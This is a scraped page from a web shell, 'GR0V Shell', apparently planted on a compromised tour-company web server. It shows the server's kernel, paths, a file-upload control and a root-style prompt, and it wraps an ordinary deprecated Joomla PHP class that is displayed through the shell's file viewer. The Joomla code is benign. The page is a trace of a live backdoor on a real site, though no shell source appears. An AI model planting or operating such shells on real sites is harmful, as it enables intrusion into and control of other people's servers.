? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/happy2/libraries/joomla/html/parameter/element/
File Upload :
Current File : /home/admin/public_html/old/happy2/libraries/joomla/html/parameter/element/componentlayouts.php

<?php
/**
 * @package     Joomla.Platform
 * @subpackage  HTML
 *
 * @copyright   Copyright (C) 2005 - 2013 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('JPATH_PLATFORM') or die;

require_once dirname(__FILE__) . '/list.php';

/**
 * Parameter to display a list of the layouts for a component view from the extension or default template overrides.
 *
 * @package     Joomla.Platform
 * @subpackage  Parameter
 * @see         JFormFieldComponentLayout
 * @note        When replacing take note that JFormFieldComponentLayout does not end in s.
 * @since       11.1
 * @deprecated  Use JFormFieldComponentLayouts instead
 */
class JElementComponentLayouts extends JElementList
{
	/**
	 * @var    string
	 */
	protected $_name = 'ComponentLayouts';

	/**
	 * Get the options for the list.
	 *
	 * @param   JXMLElement  &$node  JXMLElement node object containing the settings for the element
	 *
	 * @return  array
	 *
	 * @since   11.1
	 *
	 * @deprecated  12.1
	 * @see         JFormFieldComponentLayout
	 */
	protected function _getOptions(&$node)
	{
		// Deprecation warning.
		JLog::add('JElementComponentLayouts::_getOptions() is deprecated.', JLog::WARNING, 'deprecated');

		$options = array();
		$path1 = null;
		$path2 = null;

		// Load template entries for each menuid
		$db = JFactory::getDBO();
		$query = 'SELECT template' . ' FROM #__template_styles' . ' WHERE client_id = 0 AND home = 1';
		$db->setQuery($query);
		$template = $db->loadResult();

		if ($view = $node->attributes('view') && $extn = $node->attributes('extension'))
		{
			$view = preg_replace('#\W#', '', $view);
			$extn = preg_replace('#\W#', '', $extn);
			$path1 = JPATH_SITE . '/components/' . $extn . '/views/' . $view . '/tmpl';
			$path2 = JPATH_SITE . '/templates/' . $template . '/html/' . $extn . '/' . $view;
			$options[] = JHtml::_('select.option', '', JText::_('JOPTION_USE_MENU_REQUEST_SETTING'));
		}

		if ($path1 && $path2)
		{
			jimport('joomla.filesystem.file');
			$path1 = JPath::clean($path1);
			$path2 = JPath::clean($path2);

			$files = JFolder::files($path1, '^[^_]*\.php$');
			foreach ($files as $file)
			{
				$options[] = JHtml::_('select.option', JFile::stripExt($file));
			}

			if (is_dir($path2) && $files = JFolder::files($path2, '^[^_]*\.php$'))
			{
				$options[] = JHtml::_('select.optgroup', JText::_('JOPTION_FROM_DEFAULT_TEMPLATE'));
				foreach ($files as $file)
				{
					$options[] = JHtml::_('select.option', JFile::stripExt($file));
				}
				$options[] = JHtml::_('select.optgroup', JText::_('JOPTION_FROM_DEFAULT_TEMPLATE'));
			}
		}

		// Merge any additional options in the XML definition.
		$options = array_merge(parent::_getOptions($node), $options);

		return $options;
	}
}

T1KUS90T
  root-grov@210.1.60.28:~$